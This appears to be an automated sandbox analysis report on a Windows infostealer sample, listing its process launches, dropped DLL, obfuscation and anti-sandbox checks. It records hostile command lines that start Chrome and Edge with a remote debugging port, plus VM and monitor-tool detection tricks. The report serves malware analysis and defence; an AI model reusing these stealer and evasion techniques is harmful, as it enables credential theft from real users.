Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E58670 0_2_61E58670
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E10856 0_2_61E10856
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EA0BA9 0_2_61EA0BA9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E62CA3 0_2_61E62CA3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E98FE2 0_2_61E98FE2
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E88FCA 0_2_61E88FCA
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E52F80 0_2_61E52F80
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EA2F47 0_2_61EA2F47
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E56F18 0_2_61E56F18
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E4CEF9 0_2_61E4CEF9
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E1EEFF 0_2_61E1EEFF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E64E0C 0_2_61E64E0C
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EA91F6 0_2_61EA91F6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E9316A 0_2_61E9316A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E9F0ED 0_2_61E9F0ED
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EA70CF 0_2_61EA70CF
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E9D0C3 0_2_61E9D0C3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E8D0B6 0_2_61E8D0B6
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E6904E 0_2_61E6904E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E4304E 0_2_61E4304E
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E15337 0_2_61E15337
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E19208 0_2_61E19208
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E534E3 0_2_61E534E3
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61E77452 0_2_61E77452
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6C89FDB0 appears 38 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6C88D850 appears 90 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 6C891380 appears 33 times
One or more processes crash
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 572 -s 2064
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: dcpywpmo ZLIB complexity 0.994637644070367
Source: file.exe Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@33/43@7/7
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\P0WRF9JJ.htm Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess572
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\5b42eab9-e3e7-444e-ba23-6c039b4b674d Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2272805429.000000001DBF4000.00000004.00000020.00020000.00000000.sdmp, ECFCBFBGDBKJKECAAKKF.0.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2637985216.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe ReversingLabs: Detection: 42%
Source: file.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2300,i,12253254969016483560,8201346727917572469,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2468,i,18208122850511008875,358630292499300278,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2004,i,11058758626753817860,2067604702649362784,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 572 -s 2064
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2300,i,12253254969016483560,8201346727917572469,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2636 --field-trial-handle=2468,i,18208122850511008875,358630292499300278,262144 /prefetch:3 Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2004,i,11058758626753817860,2067604702649362784,262144 /prefetch:3 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: Google Drive.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: file.exe Static file information: File size 2126336 > 1048576
Source: file.exe Static PE information: Raw size of dcpywpmo is bigger than: 0x100000 < 0x19c200
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2638232531.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061177373.00000000055BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000B8C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2638232531.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061177373.00000000055BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000B8C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.b60000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dcpywpmo:EW;ghlarfhj:EW;.taggant:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C880610 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,lstrlenW,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess, 0_2_6C880610
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: chrome.dll.0.dr Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe Static PE information: real checksum: 0x215252 should be: 0x21306d
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: dcpywpmo
Source: file.exe Static PE information: section name: ghlarfhj
Source: file.exe Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89DE51 push ecx; ret 0_2_6C89DE64
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EDC329 pushfd ; retf 0004h 0_2_61EDC32A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_61EDA2A8 push ds; retf 0_2_61EDA2AE
Source: file.exe Static PE information: section name: dcpywpmo entropy: 7.953610135953472
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\chrome.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\chrome.dll Jump to dropped file

Boot Survival
barindex
Monitors registry run keys for changes
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCA210 second address: FCA243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD18CB18673h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD18CB1866Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCA243 second address: FCA267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CD363C8h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCA51F second address: FCA54C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD18CB1866Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jmp 00007FD18CB18672h 0x00000012 pop ecx 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCA54C second address: FCA552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: FCA6A4 second address: FCA6A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
